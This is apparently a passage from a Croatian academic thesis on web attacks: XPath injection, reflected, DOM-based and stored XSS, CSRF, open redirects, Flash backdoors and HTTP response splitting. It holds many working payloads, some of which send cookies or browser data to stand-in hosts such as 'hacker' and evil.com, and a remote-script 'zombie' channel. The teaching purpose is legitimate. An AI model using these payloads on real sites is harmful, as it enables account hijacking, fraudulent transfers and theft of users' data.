‘ or 1=2 and ‘a’=’a

Kao i kod SQL-a može se iskoristiti postavljanje istinitosti zadanih uvjeta i na taj način

izvlačiti željene podatke iz XML-a bit po bit.

Sljedeći Xpath upit će vratiti rezultat ako je prvi znak lozinke „M“:

//address[surname/text()=’Dawes’ and password/text()=’’ or

//address[surname/text()=’Gates’ and substring(password/text(),1,1)= ‘M’]

and ‘a’=’a ‘]/ccard/text()

Xpath upiti mogu imati korake koji su povezani sa trenutnim čvorem unutar XML

dokumenta, pa se moguće navigirati od trenutnog čvora do čvora-roditelj ili do čvora-dijete.

Xpath sadrži funkcije koje vrše upite nad meta-informacijama o dokumentu, uključujući ime

65

specifičnog elementa. Koristeći ove tehnike, moguće je izvući imena i vrijednosti svih

čvorova bez ikakvih informacija o njihovoj strukturi ili sadržaju.

Na primjer, može se koristiti substring funkcija kao i u prethodnom primjeru da bi se izvukla

imena trenutnih čvorova-roditelja:

‘ or substring(name(parent::*[position()=1]),1,1)= ‘a

‘ or substring(name(parent::*[position()=1]),2,1)=’b

‘ or substring(name(parent::*[position()=1]),2,1)=’c

‘ or substring(name(parent::*[position()=1]),2,1)=’d

Itd.

Na taj način se može doći do imena „address“ čvora. Nakon toga moguće je na isti način

saznati imena i vrijednosti čvorova-djece. Ako se čvor-dijete specificira po indeksu, nije

potrebno znati njihova imena. Na primjer sljedeći upit če vratiti vrijednost „Hunter“

//address[position()=3]/::node()[position()=4]/text()

A sljedeći vrijednost „letmein“:

//address[position()=3]/child::node()[position()=6]/text()

Ova tehnika se može koristiti sa napade, kada aplikacija ne vraća nikakav odgovor. Može se

napraviti uvjet koji specificira željeni čvor po indeksu. Na primjer, ako se unese sljedeći upit

umjesto lozinke, vraća rezultat ako je prvo ime lozinke „M“:

‘ or substring(//address[position()=1]/child::node()[position()=6]/

text(),1,1)= ‘M’ and ‘a’=’a

Naravno poželjno je korištenje Xpath funkcija koje mogu pomoći automatizaciji napada, i

brzo proći kroz sve čvorove unutar XML-a. Npr. funkcija count() vraća broj čvorova-djece

nekog elementa što se može iskoristiti zajedno sa position() funkcijom za automatizirati gore

navedeni primjer. Funkcija niz-length() vrača dužinu niza, što se može koristiti zajedno sa

funkcijom substring. Kombinacija može biti mnogo.

Za pronalaženje XPath ranjivosti obično se koriste sljedeći testni nizovi:

‘--

Prva dva će vratiti grešku. Sljedeći nizovi uzrokuju promjenu u ponašanju aplikacije, bez da

se pojavi greška:

‘ or ‘a’=’a

‘ and ‘a’=’b

or 1=1

66

and 1=2

6.2.2.1 Sprečavanje Xpath injection napada

Za sprečavanje Xpath Injection napada potrebno je isto kao i kod ostalih napada validirati

ulaze podatke. Najčešće se to radi filtracijom po nekoj „bijeloj listi“ dozvoljenih znakova,

koja bi u idealnom slučaju trebala dopuštati samo alfanumeričke znakove. Najkritičniji su

sljedeći znakovi:

( ) = ‘ [ ] : , * / i razmaci.

Svaki unos koji ne odgovara „bijeloj listi“ potrebno je odbaciti, a ne sanirati!

67

7 CROSS-SITE SCRIPTING

54Cross site scripting, u daljnjem tekstu XSS, je tehnika napada koja „prisiljava“ web stranice na

prikaz malicioznog koda, koji se tada izvršava u korisnikovom web pregledniku. Napadač koristi web

stranicu samo kao kanal za obavljanje napada. Kod XSS-a meta napada je korisnik a ne poslužitelj.

Jednom kada napadač stekne kontrolu nad korisnikovim web preglednikom u mogućnosti je obavljati

različite akcije kao što su krađa računa i profila, bilježenje unosa koji se unosi preko tipkovnice,

intranet hakiranje itd.

Postoji nekoliko scenarija kako se maliciozni javascript može naći na web stranici:

Vlasnik stranice ga je namjerno stavio.

Web stranica je promijenjena koristeći ranjivosti na mreži ili operacijskom sustavu putem

javascript malware-a.

XSS ranjivost koja je iskorištena, i javascript kod je ubačen unutar stranice.

Žrtva je kliknula na specijalno konstruiran DOM-based XSS link.

Primjer:

<html><body>

<h1>XSS Primjer</h1>

<script src=“http://localhost/javascript_malware.js“ />

</body></html>

Web stranica sadržava ugrađeni JavaScript malware. Korisnik koji posjeti ovu stranicu

automatski će pokrenuti malicioznu skriptu koja se nalazi na lokaciji:

http://localhost/javascript_malware.js i izvršava se u kontekstu stranice koju je korisnik

posjetio. Ovaj primjer se odnosi na metode iz 1. i 2. točke, dok je za metode iz 3. i 4. Točke

potrebna web stranica koja sadrži XSS ranjivost.

7.1 Non-persistent ili Reflected XSS

55Ovaj tip XSS ranjivosti je zastupljen u približno 75% slučajeva u odnosu na ostale tipove

XSS ranjivosti. Kod ovog tipa XSS-a kod se „reflektira“ od strane web poslužitelju u obliku

poruka o greškama, rezultatima pretraživanja ili bilo kojem drugom obliku odgovora koji

uključuje neke ili sve unesene podatke poslane prema poslužitelju kao dio zahtjeva.

Drugim riječima, kod ovog tipa XSS-a izrađuje se zahtjev ubacivanjem JavaScript koda i

reflektira se odnosno izvrši svakome korisniku koji podnese taj zahtjev.

54

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.84 55

Izvor: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

68

Primjer:

Ako napadač u neko polje ili formu za pretraživanje unutar neke web stranice upiše:

"><SCRIPT>alert('XSS%20Testiranje')</SCRIPT>

I dobije poruku XSS Testiranje, tada može napisati drugačiju i složeniju skriptu.

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cooki

e;

</SCRIPT>

Prvi dio koda stvori DOM objekt.

var img=new Image();

Pošto se javascript izvršava unutar stranice korisnika ima pristup cookie podacima

(document.cookie;). Image objekt je povezan na http://hacker/ vanjski URL na kojeg je

nadodan cookie niz.

Formira se sljedeći zahtjev:

GET http://hacker/path/_web_browser_cookie_data HTTP/1.1

Host: host

User-Agent: Firefox/1.5.0.1

Content-length: 0

Na taj način korisnikov cookie može biti otet i poslan kao GET parametar.

7.2 DOM-based 56

DOM-based je oblik XSS napada koji se koristi vrlo slično kao i non-persistent samo što se

javascript malware ne mora poslati ili prikazati od strane web stranice.

Na sljedećoj slici su prikazane knjige i njihove cijene na temelju url upita koji je poslan prema

bazi u pozadini:

56

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.89

69

57Slika 3: Prikazuje cijene knjiga. Napadač može ubacivati tekst i stimulirati kupce.

Napadač može mijenjati naslov i vrijednost URL-a tako da sadrže drugačiji tekst jer se

Javascript automatski upisuje.

Primjer:

http://victim/promo?product_id=100&title=Posljednja+Prilika!

http://victim/promo?product_id=100&title=Samo+10+komada+ostalo!

<script>

var url = window.location.href;

var pos = url.indexOf("title=") + 6;

var len = url.length;

var title_niz = url.substring(pos,len);

document.write(unescape(title_niz));

</script>

Ovdje se nalazi problem. JavaScript na strani klijenta slijepo vjeruje podacima koji su

sadržani unutar URL-a i prikazuje ih na ekranu. Može se napisati i sljedeće:

http://victim/promo?product_id=100&title=Foo#<SCRIPT>alert('XSS%20Testing')

</SCRIPT>

Ono što ovaj napad čini drugačijim od prošlog je da se JavaScript malware ne šalje

poslužitelju. Fragmenti dio URL-a ili # znak pokazuje web pregledniku na koji dio

dokumenta da se premjesti. Fragmentni podaci se ne šalju poslužitelju nego ostaju unutar

DOM-a.

Uzrok DOM-based XSS-a je iskorištavanje ranjivosti unutar validacije ulaznih podataka na

strani klijenta, ne na strani poslužitelja.

DOM-based XSS se kao i ostali oblici XSS-a iskoristiti za krađu povjerljivih podataka, ili

otimanje korisničkih računa.

57

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.90

70

58Primjer DOM-base XSS-a:

<HTML>

<TITLE>Welcome!</TITLE>

Hi

<SCRIPT>

var pos=document.URL.indexOf(“name=”)+5;

document.write(document.URL.substring(pos,document.URL.length));

</SCRIPT>

<BR>

Welcome to our system

</HTML>

Iz koda se može vidjeti da nije napravljeno saniranje vrijednosti „name“ GET parametra koji

se odmah nakon što je dohvaćen upisuje u dokument.

Primjer DOM-base XSS koristeći AJAX:

<p>Unesi, ime i pritisni chat!

<strong>chat</strong>!</p>

<input name="name" type="text" size="50"/><br/><input

name="chat" value="Chat" type="button"/>

</div>

</div>

<script>

$('[@name="chat"]').click(function () {

var name = $('[@name="name"]').val();

$('#content > div').fadeOut(null, function () {

$(this).html('<p>Welcome ' + name + '! You can

type your message into the form below.</p><textarea class="pane">' + name +

' &gt;

</textarea>');

$(this).fadeIn();

});

});

</script>

Ako se bolje promotri primjer chat aplikacije, vidljivo je da je aplikacija ranjiva na XSS. Dio

koda odgovoran za ranjivost je sljedeći: $(this).html('<p>Welcome ' + name + '! You can type your message into the

form below.</p><textarea class="pane">' + name + ' &gt; </textarea>');

Vidljivo je da unos podataka za ime nije saniran i može se napisati bilo što.

Npr. ako se za ime napiše <script>alert('xss')</script> tada će funkcija koja gradi niz

izgledati ovako: <p>Welcome <script>alert('xss')</script>! You can type your message into the form below.</p><textarea class="pane"><script>alert('xss')</script> &gt; </textarea>

Ako se primjer koda prepravi na sljedeći način: <script>

var matches = new

niz(document.location).match(/[?&]name=([^&]*)/);

var name = 'guest';

58

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.92

71

if (matches)

name = unescape(matches[1].replace(/\+/g, ' '));

$('#content ').html('<p>Welcome ' + name + '! You can type

your message into the form below.</p><textarea class="pane">' + name + ' &gt;

</textarea>');

</script> tada je moguće slati parametar ime putem URL na sljedeći način:

localhost/diplomski/xss/test.html?name=Bob međutim pošto se parametar ime ne

sanira ponovno je moguće je u URL parametar upisati maliciozni kod. To je onda non-

persistnet DOM-based XSS.

Ako aplikaciju prepravimo na sljedeći način:

<script>

var matches = new

niz(document.location).match(/[?&]name=([^&]*)/);

if (matches) {

var name = unescape(matches[1].replace(/\+/g, ' '));

document.cookie = 'name=' + escape(name) +

';expires=Mon, 01-Jan-2010 00:00:00 GMT';

} else {

var matches = new

niz(document.cookie).match(/&?name=([^&]*)/);

if (matches)

var name = unescape(matches[1].replace(/\+/g, '

'));

else

var name = 'guest';

}

$('#content ').html('<p>Welcome ' + name + '! You can type

your message into the form below.</p><textarea class="pane">' + name + ' &gt;

</textarea>');

</script>

Primjer aplikacije je isti kao u prethodnom primjeru samo što se ime sprema u cookie unutar

preglednika jer unos također nije saniran. Ova vrsta ranjivosti se naziva persistent DOM-

based XSS, i puno je opasnija od prethodnih. Napadač može napisati i spremiti javascript kod

unutar cookie-a. Valja napomenuti da se ova vrsta napada/ranjivosti može spremati i u druge

tipove pohrane, kao što je FLASH cookie, lokalno, pa čak i unutar URL-a.

7.3 Persistent ili stored XSS 59

Persistent XSS napadi se najčešće izvode na web stranice sa društvenim sadržajem ili web

mail stranice odnosno svim stranicama na kojima postoji društvena interakcija, i ne

zahtijevaju posebno napravljene linkove za izvršavanje.

Napadač ubacuje XSS kod unutar područja web stranice koji su često posjećeni od strane

ostalih korisnika. Ta područja su blog komentari, osvrti, oglasne ploče, ploče sa porukama,

chat sobe, HTML e-mail, wiki-i i još mnogobrojne ostale lokacije. Kada korisnik posjeti

59

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.91

72

jedno tako mjesto maliciozni kod se automatski izvrši. Zbog toga je persistnet XSS puno

opasniji nego ostali navedeni oblici napada.

Str 103

7.4 Ostali ranjivosti temeljene na XSS-u

7.4.1 Preusmjeravanje 60

Postoje tri načina preusmjeravanja:

Preusmjeravanje Zaglavlja – uglavnom se koristi HTTP protokol

Meta Preusmjeravanje – Koristi HTML tagove (<META HTTPEQUIV=”Refresh”

CONTENT=”5; URL=http://redirect.com”>)). Vrlo slično kao i zaglavlje,

u novije vrijeme se to smatra pod isto.

Dinamičko Preusmjeravanje – može biti unutar Flash filma, JavaScripta ili nekog

drugog dinamičnog sadržaja na strani klijenta. Prednost je što može biti okidan

eventima odnosno događajima.

Preusmjeravanje može izgledati kao običan URL unutar nekog drugog URL-a:

www.stranica.com/redir.php?url=http://www.badguy.com/

može biti kodirano:

www.stranica.com/redir.php?url=http%3A%2F%2Fwww.badguy.com/

Primjer preusmjeravanja sa google stranice na neku phishing stranicu:

http://www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5QfXBJGSiQLU0eDSAueHkArnh

tWZAu-

FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2f-P____8BoAGyqor_A8gBAZUCC

apCCqkCxU7NLQH0sz4&num=5&adurl=http://211.240.79.30:2006/www.p

aypal.com/webscrr/index.php

www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5QfXBJGSiQLU0eDSAueHkArnhtWZAu-

FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2f-P____8BoAGyqor_A8gBAZUCC

apCCqkCxU7NLQH0sz4&num=5&adurl=http://212.12.177.170:9999/www.

paypal.com/thirdparty/webscrr/index.php

Zbog toga je google prestao s automatskim URL preusmjeravanjem.

www.google.com/url?q=%68%74%74%70%3A%2F%2F%69%6E%65%7

1%73%76%2E%73%63%68%65%6D%65%67%72%65%61%74%2E%6

3%6F%6D%2F%3F%6B%71%77%76%7A%6A%77%7A%66%63%65%

75

Primjer preusmjeravanja kod Yahoo-a:

http://rds.yahoo.com/_ylt=A0LaSV66fNtDg.kAUoJXNyoA;_ylu=X3oDMTE2

60

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.102

73

ZHVuZ3E3BGNvbG8DdwRsA1dTMQRwb3MDMwRzZWMDc3IEdnRpZANG

NjU1Xzc1/SIG=148vsd1jp/EXP=1138544186/**http%3a//65.102.124.244/us

age/.us/link.php

Napadači zamaskiraju URL:

http://rds.yahoo.com/_ylt=A0LaSV66fNtDg.kAUoJXNyoA;_ylu=X3oDMTE2

ZHVuZE3BGNvbG8DdwRsA1dTMQRwb3MDMwRzZWMDc3IEdnRpZANGN

jU1Xzc1/SIG=148vsd1jp/EXP=1138544186/**http%3a//1115019674/www.p

aypal.com/us/webscr.php?cmd=_login-run

Izgled URL - u različitom tipu kodiranja

http://127.0.0.1/ Decimal

http://2130706433/ Dword

http://0x7f.0x00.0x00.0x01/ Hex

http://0177.0000.0000.0001/ Octal

http://127.0x00.0000.0x01/ Mixed

7.4.2 CSRF 61

CSRF ili se ponekad naziva i XSRF je jednostavan napad koji ima velik utjecaj na sigurnost

web aplikacije.

Primjer:

<iframe src=https://somebank.com></iframe>

Ovo naizgled izgleda bezazleno ali kada preglednik naiđe na ovaj kod, a pretpostavimo da je

korisnik prijavljen u sustav neke banke somebank.com; neće samo prikazati banking stranicu

nego će poslati i korisnikov cookie.

Sljedeći primjer simulira kako bi mogao izgledati CSRF napad.

<iframe src=https://somebank.com/transferfunds.asp?amnt=1000000&acct=

123456></iframe>

Korisnika se stavlja u položaj da izvrši akciju koju napadač želi. U ovom slučaju je to

prebacivanje novaca na drugi račun.

IFRAME-ovi nisu jedini način na koji se CRSF napadi mogu izvršavati:

<img src=https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456>

<link rel="stylesheet"

href="https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456”

type="text/css">

<bgsound

SRC="https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456">

U ova tri primjera, tip podatka koji preglednik očekuje je nevažan za napad. Na primjer

rezultat zahtjeva za slikom može biti u .jpg ili .gif datoteci, a ne HTML koji će primiti od

61

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str. 108

74

strane poslužitelja. Dok preglednik shvati da se nešto čudno događa, napad je već gotov jer je

poslužitelj već prihvatio naredbu za prijenos novaca.

7.4.2.1 Obrana od CRSF:

Da bi se CRSF spriječio, web stranice uključuju tokene koji su ugrađeni u formu ili URL.

Token je jednokratna vrijednost koja je stvorena kada korisnik posjeti stranicu. Kada kliknu

na link ili podnesu formu, token je uključen unutar tog zahtjeva i verificiran od strane servera.

Ako je token validan, zahtjev se prihvaća. Jednokratni tokeni štite na taj način da samo

korisnik koji je iskoristio token vidi sadržaj stranice. Međutim kada se CRSF koristi u

kombinaciji sa XSS-om, tada niti ova obrana ne pomaže.

Primjer:

<img src=https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456>

Objekt u primjernu nije slika i server bi ga odbacio. Neki sustavi validiraju samo ekstenziju

kako bi se osigurali da se radi o slici.

Pravilna sintaksa bi bila:

<img src=http://ha.ckers.org/a.jpg>

Čak i nakon što server provjeri da je postojala slika, ne znači da će još uvijek biti tamo nakon

što ju robot validira. Napadač može staviti preusmjeravanje nakon što robot validira sliku:

Redirect 302 /a.jpg

https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456

Kada preglednik vidi preusmjeravanje, ići će do zadane URL adrese dok će cookie-i ostati

netaknuti i nepromijenjeni. Što je još gore,

URL(http://somebank.com/board.asp?id=692381) unutar Referer zaglavlja se neće

promijeniti prema URL-u

presumjeravanju(https://somebank.com/transferfunds.asp?amnt=1000000&acct=1234

56).

Sa CSRF napadima se može koristiti i PHP.

<IMG SRC=http://victim.com/blog/index.php?l=http://someserver.com/solo/kgb.c?>

75

7.4.3 FLASH 62

Flash datoteke mogu sadržavati Javascript koji se izvršava u kontekstu stranice. Napadači

mogu lagano modificirati flash datoteke da sadrže svoj vlastiti Javascript maliciozni kod.

QuickTime je također pružao značajku koja može biti korištena od strane napadača za

ubacivanje JavaScripta.

class Dummy {

function Dummy() {

}

static function main(mc) {

getURL("javascript:alert('Flash Rocks My World!')");

}

}

Ovako se ugrađuje unutar stranice:

<html>

<body>

<object type="application/x-shockwave-flash"

data="dummy.swf"></object>

</body>

</html>

Napadači mogu iskoristiti ovaj koncept i ugraditi maliciozni JavaScript unutar Flash filmića.

Sljedeći primjer backdoor-a:

class Backdoor {

function Backdoor() {

}

static function main(mc) {

getURL("javascript:function%20framejack%28url%29%20%7B%0A%09var%20ifr%20%3D%20docum

ent.createElement%28%27iframe%27%29%3B%0A%09ifr.src%3D%20url%3B%0A%0A%09document.bo

dy.scroll%20%3D%20%27no%27%3B%0A%09document.body.appendChild%28ifr%29%3B%0A%09ifr.s

tyle.position%20%3D%20%27absolute%27%3B%0A%09ifr.style.width%20%3D%20ifr.style.heig

ht%20%3D%20%27100%25%27%3B%0A%09ifr.style.top%20%3D%20ifr.style.left%20%3D%20ifr.st

yle.border%20%3D%200%3B%0A%7D%0A%0Aframejack%28document.location%29%3B%0Avoid%280%2

9%3B");

}

}

URL kodiran niz koji je ugrađen unutar getURL funkcije je zapravo jednostavna tehnika

otimanja/krađe okvira(frame hijack):

function framejack(url) {

var ifr = document.createElement('iframe');

ifr.src= url;

document.body.scroll = 'no';

document.body.appendChild(ifr);

ifr.style.position = 'absolute';

ifr.style.width = ifr.style.height = '100%';

ifr.style.top = ifr.style.left = ifr.style.border = 0;

}

framejack(document.location);

void(0);

Iz koda se vidi da se otima document.location koji sadrži puni URL do trenutnog resursa.

Pomoću sljedećeg koda se može ugraditi zombie kontrola preko kanala unutar trenutnog web

preglednika:

function zombie(url, interval) {

62

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.115

76

var interval = (interval == null)?2000:interval;

setInterval(function () {

var script = document.createElement('script');

script.defer = true;

script.type = 'text/javascript';

script.src = url;

script.onload = function () {

document.body.removeChild(script);

};

document.body.appendChild(script);

}, interval);

}

zombie('http://www.gnucitizen.org/channel/channel', 2000);

void(0);

Ista logika se može implmentirati unutar jednostavne SWF datoteke kao npr:

class Backdoor {

function Backdoor() {

}

static function main(mc) {

getURL("javascript:function%20zombie%28url%2C%20interval%29%20%7B%0A%09var%20interv

al%20%3D%20%28interval%20%3D%3D%20null%29%3F2000%3Ainterval%3B%0A%0A%09setInterval%

28function%20%28%29%20%7B%0A%09%09var%20script%20%3D%20document.createElement%28%27

script%27%29%3B%0A%09%09script.defer%20%3D%20true%3B%0A%09%09script.type%20%3D%20%2

7text/javascript%27%3B%0A%09%09script.src%20%3D%20url%3B%0A%09%09script.onload%20%3

D%20function%20%28%29%20%7B%0A%09%09%09document.body.removeChild%28script%29%3B%0A%

09%09%7D%3B%0A%09%09document.body.appendChild%28script%29%3B%0A%09%7D%2C%20interval

%29%3B%0A%7D%0A%0Azombie%28%27http%3A//www.gnucitizen.org/channel/channel%27%2C%202

000%29%3B%0Avoid%280%29%3B");

}

}

Ove tehnike su korisne u nekoliko situacija. Npr. ako webstranica dobro validira i sanira unos

podataka, ali omogućuje/dopušta vanjske Flash objekte da se prikazuju, napadač vrlo lako

može izvršiti XSS napad. Najviše su mete napada stranice koje obiluju flash reklamama.

7.5 HTTP Response Injection 63

Skripte na strani poslužitelja koje koriste podatke dobivene od korisnika kao dio zaglavlja

odgovora bez saniranja CRLF slijeda/niza su ranjive na ovaj tip napada.

HTTP Response Injection mogu napadači koristiti za modificiranje svakog zaglavlja u

odgovoru uključujući i cookie, i također može biti korišten za izvođenje XSS-a.

Kod HTTP Response Injection napada, napadača ima mogućnost ubaciti Carriage Return

(ASCII 0x0D) Line Feed (ASCII 0x0A) ili CRLF slijed/niz unutar zaglavlja odgovora.

CRLF sekvenca, prema RFC 2616 standardu je delimiter koji odvaja zaglavlja jedna od drugih.

Ako napadač uspije ubaciti te znakove, u mogućnosti je izvršiti XSS napad.

Najčešće mjesto gdje se takve ranjivosti pojavljuju je kada postoji slučaj kada skripta za

preusmjeravanje koja uzima URL kao ulaz i generira adekvatno zaglavlje za prijenos prema

korisniku ili specificiranom resursu.

63

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.139

77

Primjer:

<?php

if (isset($_GET['redirect'])) {

header('Location: ' . $_GET['redirect']);

www.syngress.com }

?>

Skripta se može pozvati na sljedeći način

redirector.php?redirect=http%3A//www.google.com. Poslužitelj u Location zaglavlju

vrati Location: http://www.google.com.

Pošto redirect polje nije sanirano, napadač može lagano podijeliti zahtjev na sljedeći način:

redirector.php?redirect=%0d%0a%0d%0a<script>alert(String.fromCharCode(88,83,83))

</script>

Fokus je ovdje na hex niz znakova na početku redirect strina. %0d(npr.0x0d) je CF i %0a(npr.

0x0a) je LF. Zbog ta dva niza dobiju se još dvije dodatne linije unutar zaglavlja. U nastavku

šifriran je XSS niz kao hex znakovi i korištena je String.fromCharCode funkcija za

pretvaranje hex vrijdnosti u ASCII. To će zaobići bilo kakvo filtriranje navodnika na

poslužiteljskoj strani. Zaglavlje Location u odgovoru poslužitelja bi izgledalo na sljedeći

način:

Location:

<script>alert(String.fromCharCode(88,83,83))</script>

Transfer-Encoding: chunked

Na sličan način mogu se ubacivati ili nadomještavati cookie-i stranice:

redirector.php?redirect=%0d%0aSet-

Cookie%3A%20PHPSESSIONID%3D7e203ec5fb375dde9ad260f87ac57476%3B%20path%3D/

Zaglavlje Location u odgovoru poslužitelja izgleda na sljedeći način: Location:

Set-Cookie: PHPSESSIONID=7e203ec5fb375dde9ad260f87ac57476; path=/

Zaobilaženje XSS ograničenja dužine 64

U nekim situacijama XSS rupe su tako male da je nemoguće ugurati dovoljnu količinu

informacije kako bi se izveo napad.

Postoji nekoliko tehnika pomoću kojih se može u polje ubaciti više znakova nego što je to

dozvoljeno odnosno ograničeno.

Na primjer ako već postoji ranjivost tipa: http://www.tst.com/path/to/search.asp?query="><script>alert('xss')</script>

64

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.147

78

To ne znači automatski da se može napisati cijela javascript skripta. Vrlo je vjerojatno da

postoji provjera u web aplikaciji koja ograničava duljinu niza znakova. Ako je na primjer

dozvoljena dužina URL upita 60 znakova tada je nemoguće izgraditi željenu napadačku

skriptu, već je moguće izvršiti ubacivanje skripte sa neke druge lokacije na primjer:

http://www.tst.com/path/to/search.asp?query="><script src="http://evil.com/s.js"/>

Takav način ozbiljnim napadačima nije prihvatljiv, jer ne daje toliki stupanj anonimnosti i

skrivenosti, i moraju se oslanjati na neki vanjski poslužitelj.

Postoji drugi prihvatljiviji način: http://www.acme.com/path/to/search.asp?query="><script>eval(location.hash.subst

r(1))</script>#alert('xss')

Vrijednost dužine niza gore navedenog upita je 48 znakova.

<script>eval(location.hash.substr(1))</script>

Dio koda poziva javascript eval funkciju na hash parametar. Hash se još i naziva fragmentni

identifikator(mehanizam koji se koristi za referenciranje veza prema sidrištima(anchors)

unutar web stranica. Anchor je tag kojemu je hash Šid atribut), je podatak koji slijedi znak #

koji je u našem slučaju alert('xss'). Koristeći ovu tehniku moguće je staviti onoliko podataka

koliko se želi, dok će aplikacija misliti da se radi samo o njih 48 koji su ubačeni.

Primjer jednog napada:

http://www.acme.com/path/to/search.asp?query="><script>eval(location.hash.substr(1)

)</script>#function include(url,onload){var

script=document.createElement('script');script.type='text/javascript';script.onload

=onload;script.src=url;document.body.appendChild(script)};include('http://www.gnuci

tizen.org/projects/attackapi/AttackAPI-standalone.js',function(){var

data={agent:$A.getAgent(),platform:$A.getPlatform(),cookies:$A.buildQuery($A.getCoo

kies()),plugins:$A.getPlugins().join(','),ip:$A.getInternalIP(),hostname:$A.getInte

rnalHostname(),extensions:[],states:[],history:[]};var

completed=0;$A.scanExtensions({onfound:function(signature){data.extensions.push(sig

nature.name)},oncomplete:function(){completed+=1}});$A.scanStates({onfound:function

(signature){data.states.push(signature.name)},oncomplete:function(){completed+=1}})

;$A.scanHistory({onfound:function(url){data.history.push(url)},oncomplete:function(

){completed+=1}});var

tmr=window.setInterval(function(){if(completed<3)return;data.extensions=data.extensi

ons.join(',');data.states=data.states.join(',');data.history=data.history.join(','

);$A.transport({url:'http://evil.com/collect',query:data});window.clearInterval(tmr

)},1000)}

Također za svrhu skraćivanja unosa ,mogu se koristiti JavaScript API-i. Primjer ako se

ubacuje u postojeću skriptu, sljedeća naredba prenosi korisničke cookie-e prema poslužitelju

„a“:

open(“//a/“+document.cookie)

79

Alternativno, ako se ubacuje direktno u HTML, sljedeća naredba izvršava skriptu sa

poslužitelja koji se zove „a“:

<script src=http://a></script>

Sljedeći način zaobilaženja filtra ograničenja bi bio raspoređivanje napadačkog niza na

nekoliko različitih lokacija gdje se korisnički unos kao odgovor ubacuje u istu povratnu

stranicu.

Uzme li se u obzir sljedeći primjer:

https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal

Povratna stranica izgleda ovako:

<input type=”hidden” name=”page_Šid” value=”244”>

<input type=”hidden” name=”seed” value=”129402931”>

<input type=”hidden” name=”mode” value=”normal”>

Da svako polje ima ograničenje dužine unosa može se pomoću sljedećeg URL-a skripta

napisati preko tri lokacije:

https://myapp.com/account.php?page_id=”><script>/*&seed=*/alert(document

.cookie);/*&mode=*/</script>

Kada se parametri iz URL-a upišu u stranicu, rezultat izgleda ovako:

<input type=”hidden” name=”page_id” value=””><script>/*”>

<input type=”hidden” name=”seed” value=”*/alert(document.cookie);/*”>

<input type=”hidden” name=”mode” value=”*/</script>”>

Zaobilaženje XSS filtra 65

Ako web aplikacija ima funkciju koja dodaje „\“ ispred jednostrukih ili dvostrukih

navodnika (npr. add_slashes()) tada bi napadački niz nakon što se izvršila funkcija izgledao

ovako:

<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>

Da bi se zaobišao ovakav filtar potrebno je prestati koristiti jednostruke i dvostruke

navodnike. Tu npr. može pomoći funkcija iz javascripta String.from.CharCode(), jer umjesto

pisanja nekog znaka ili slova, piše se njegova decimanlna ASCII vrijednost.

Primjer kako izgleda ASCII tablica znakova u hexadecimalnom i decimalnom brojevnom

sustavu:

Decimalni:

0 nul 1 soh 2 stx 3 etx 4 eot 5 enq 6 ack 7 bel

65

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.149

80

8 bs 9 ht 10 nl 11 vt 12 np 13 cr 14 so 15 si

16 dle 17 dc1 18 dc2 19 dc3 20 dc4 21 nak 22 syn 23 etb

24 can 25 em 26 sub 27 esc 28 fs 29 gs 30 rs 31 us

32 sp 33 ! 34 " 35 # 36 $ 37 % 38 & 39 '

40 ( 41 ) 42 * 43 + 44 , 45 - 46 . 47 /

48 0 49 1 50 2 51 3 52 4 53 5 54 6 55 7

56 8 57 9 58 : 59 ; 60 < 61 = 62 > 63 ?

64 @ 65 A 66 B 67 C 68 D 69 E 70 F 71 G

72 H 73 I 74 J 75 K 76 L 77 M 78 N 79 O

80 P 81 Q 82 R 83 S 84 T 85 U 86 V 87 W

88 X 89 Y 90 Z 91 [ 92 \ 93 ] 94 ^ 95 _

96 ` 97 a 98 b 99 c 100 d 101 e 102 f 103 g

104 h 105 i 106 j 107 k 108 l 109 m 110 n 111 o

112 p 113 q 114 r 115 s 116 t 117 u 118 v 119 w

120 x 121 y 122 z 123 { 124 | 125 } 126 ~ 127 del

Heksadecimalni:

00 nul 01 soh 02 stx 03 etx 04 eot 05 enq 06 ack 07 bel

08 bs 09 ht 0a nl 0b vt 0c np 0d cr 0e so 0f si

10 dle 11 dc1 12 dc2 13 dc3 14 dc4 15 nak 16 syn 17 etb

18 can 19 em 1a sub 1b esc 1c fs 1d gs 1e rs 1f us

20 sp 21 ! 22 " 23 # 24 $ 25 % 26 & 27 '

28 ( 29 ) 2a * 2b + 2c , 2d - 2e . 2f /

30 0 31 1 32 2 33 3 34 4 35 5 36 6 37 7

38 8 39 9 3a : 3b ; 3c < 3d = 3e > 3f ?

40 @ 41 A 42 B 43 C 44 D 45 E 46 F 47 G

48 H 49 I 4a J 4b K 4c L 4d M 4e N 4f O

50 P 51 Q 52 R 53 S 54 T 55 U 56 V 57 W

58 X 59 Y 5a Z 5b [ 5c \ 5d ] 5e ^ 5f _

60 ` 61 a 62 b 63 c 64 d 65 e 66 f 67 g

68 h 69 i 6a j 6b k 6c l 6d m 6e n 6f o

70 p 71 q 72 r 73 s 74 t 75 u 76 v 77 w

78 x 79 y 7a z 7b { 7c | 7d } 7e ~ 7f del

Sada je jednostavno zaobići filtar jednstavnim napadačkim nizom:

